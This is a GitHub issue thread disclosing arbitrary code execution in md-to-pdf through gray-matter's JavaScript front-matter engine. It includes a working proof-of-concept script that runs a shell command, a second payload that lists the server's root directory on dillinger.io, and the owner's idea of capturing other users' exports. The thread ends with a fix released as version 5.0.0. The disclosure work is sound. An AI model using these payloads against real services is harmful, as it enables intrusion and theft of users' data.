simonhaenisch / **md-to-pdf** Public

<> Code   Issues 13   Pull requests 6   Discussions   Actions   Projects   ···

New issue

Jump to bottom

Security: gray-matter exposes front matter JS-engine that leads to arbitrary code execution #99

Closed **magicOz** opened this issue on Sep 22, 2021 · 6 comments

Labels bug

magicOz commented on Sep 22, 2021

The library gray-matter (used by **md-to-pdf** to parse front matter) exposes a JS-engine by default, which essentially runs **eval** on the given Markdown.

https://github.com/simonhaenisch/md-to-pdf/blob/master/src/lib/md-to-pdf.ts#L26

Given that **md-to-pdf** is *only* a Markdown to PDF-library and looking at how other projects use it - I think it is an undesirable *feature* to be able to execute any arbitrary Javascript by anyone in control of the Markdown content.

A possible fix would be to override gray-matter's JS-engine:

```
const { content: md, data: frontMatterConfig } = grayMatter(mdFileContent, { engines : { js : () => {} } } );
```

PoC:

```
$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory
$ node poc.js
$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
```

poc.js:

```
const { mdToPdf } = require('md-to-pdf');

var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';

(async () => {
        await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();
```

magicOz added the bug label on Sep 22, 2021

simonhaenisch commented on Sep 22, 2021 • edited ▾ Owner

Thanks for the info. I wasn't aware of this feature in gray-matter.

> I think it is an undesirable *feature* to be able to execute any arbitrary Javascript by anyone in control of the Markdown content.

I think you shouldn't use a tool like this on markdown content that you don't control, especially not without any security concerns (i. e. never trust user input), but yeah I agree that it might prevent some accidental security problems if the JS engine was disabled.

simonhaenisch commented on Sep 22, 2021 • edited ▾ Owner

I just checked the docs and it's also possible to set `{ language: 'yaml' }` which should already be sufficient to disable JS code execution. Might make sense to expose this options object as a config option so that people can change it to `js` explicitly in case they want to use JS in their front matter.

magicOz commented on Sep 22, 2021 • edited ▾ Author

The documentation seems to be a bit misleading and `{ language : '...' }` actually just means the **default** engine if the language identifier is omitted from the front matter, all engines are still accessible by using `---<language identifier>`.

Agree, an opt-in config option for which engines to use makes sense and sounds like the right way to solve this.

👍 1

simonhaenisch commented on Sep 23, 2021 • edited ▾ Owner

BTW I saw in your Github activity that you also raised an issue with dillinger.io which is using this package, and I'm actually able to use this exploit there, e. g. I would add a front matter like

```
---js
{
    css: `body::before { content: "${require('fs').readdirSync('/').join()}"; display: block }`,
}
---
```

and then use export > PDF. I'm not sure about the damage that can be done here but one idea would be to try and send myself all file exports that are happening in the hopes that someone uses dillinger.io for secret/internal data.

FYI **@joemccann**, I'll see that I get a new major version out that disables this feature by default, and make a PR to your repo to update the package.

👍 5

magicOz commented on Sep 23, 2021 Author

Yes, you're right - I was reviewing dillinger and that's how I found this library. :)
Currently, instances of dillinger are vulnerable to RCE due to this.

simonhaenisch closed this as completed in `a716259` on Sep 24, 2021

simonhaenisch commented on Sep 24, 2021 Owner

Released version 5.0.0 with a fix for this, i. e. the JS engine throws an error about being disabled by default, and you can overwrite the gray-matter options with `null` or `undefined` to restore the original behavior.

This was referenced on Sep 24, 2021

update md-to-pdf to prevent RCE via javascript front-matter joemccann/dillinger#821

Merged

Security consideration: disable JS engine by default to prevent RCEs in dependents jonschlinkert/gray-matter#131

Open

Assignees

No one assigned

Labels

bug

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants